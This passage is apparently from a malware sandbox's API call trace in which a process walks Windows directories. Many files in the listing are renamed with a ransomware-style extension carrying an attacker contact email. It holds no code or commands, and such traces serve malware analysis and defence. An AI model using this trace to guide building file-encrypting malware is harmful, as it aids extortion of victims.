ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE2CD2~1.SAV")) returned 1 [0206.031] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x927cc87, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x927cc87, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92a2ea5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="ParameterInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0206.031] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x97db9cb, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x97db9cb, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x98004f5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~1.SAV")) returned 1 [0206.032] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98004f5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x98004f5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9826619, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~2.SAV")) returned 1 [0206.032] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9826619, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9826619, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9cc4f61, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Setup.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~1.SAV")) returned 1 [0206.032] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x997dba9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x997dba9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9f4d74a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="SetupEngine.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~2.SAV")) returned 1 [0206.098] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cc4f61, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9cc4f61, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9ceb1cf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="SetupUi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~2.SAV")) returned 1 [0206.098] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x990b473, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="SetupUi.xsd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~1.SAV")) returned 1 [0206.098] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9d11821, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9d11821, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa13d583, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="SetupUtility.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~3.SAV")) returned 1 [0206.099] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92ef37d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92ef37d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92ef37d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="SplashScreen.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SPLASH~1.SAV")) returned 1 [0206.099] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa13d583, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0xa13d583, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa1637ef, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="sqmapi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SQMAPI~1.SAV")) returned 1 [0206.099] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9315590, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9315590, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9933627, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Strings.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STRING~1.SAV")) returned 1 [0206.099] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9387cb5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9387cb5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0206.099] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x93adedf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x93adedf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x93adedf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="watermark.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WATERM~1.SAV")) returned 1 [0206.100] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xc1d9ee8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~1.SAV")) returned 1 [0206.100] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xb500891, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~2.SAV")) returned 1 [0206.100] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xd8ccbac, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~3.SAV")) returned 1 [0206.100] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcae0322, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~4.SAV")) returned 1 [0206.101] FindNextFileW (in: hFindFile=0x5da190, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcae0322, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~4.SAV")) returned 0 [0206.101] FindClose (in: hFindFile=0x5da190 | out: hFindFile=0x5da190) returned 1 [0206.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.102] FindNextFileW (in: hFindFile=0x5da8d0, lpFindFileData=0x316fcf8 | out: lpFindFileData=0x316fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0206.103] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.103] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0206.104] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="..", cAlternateFileName="")) returned 1 [0206.104] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="BCD", cAlternateFileName="")) returned 1 [0206.105] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0206.105] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0206.105] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0206.105] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0206.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3510948 [0206.106] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4262f18 [0206.107] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.107] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0206.108] FindNextFileW (in: hFindFile=0x4262f18, lpFindFileData=0x316f800 | out: lpFindFileData=0x316f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0206.108] FindClose (in: hFindFile=0x4262f18 | out: hFindFile=0x4262f18) returned 1 [0206.108] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.108] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0206.108] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96f5265, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x96f5265, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96f5265, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="BOOTSTAT.DAT.id-B4197730.[seavays@aol.com].save", cAlternateFileName="BOOTST~1.SAV")) returned 1 [0206.108] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x316fa7c | out: lpFindFileData=0x316fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x27e, dwReserved1=0xffffb5ac, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0206.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3510948 [0206.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.111] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.111] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.111] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.112] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.112] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.118] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.118] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.118] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.119] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.119] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.131] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.132] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.132] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.132] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.133] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.314] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.316] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4263070 | out: hHeap=0x5c0000) returned 1 [0206.316] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4263070 | out: hHeap=0x5c0000) returned 1 [0206.316] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.319] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.319] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.331] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.333] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3510948 | out: hHeap=0x5c0000) returned 1 [0206.337] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3520950 | out: hHeap=0x5c0000) returned 1 [0206.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4274080 | out: hHeap=0x5c0000) returned 1 [0206.339] HeapFree 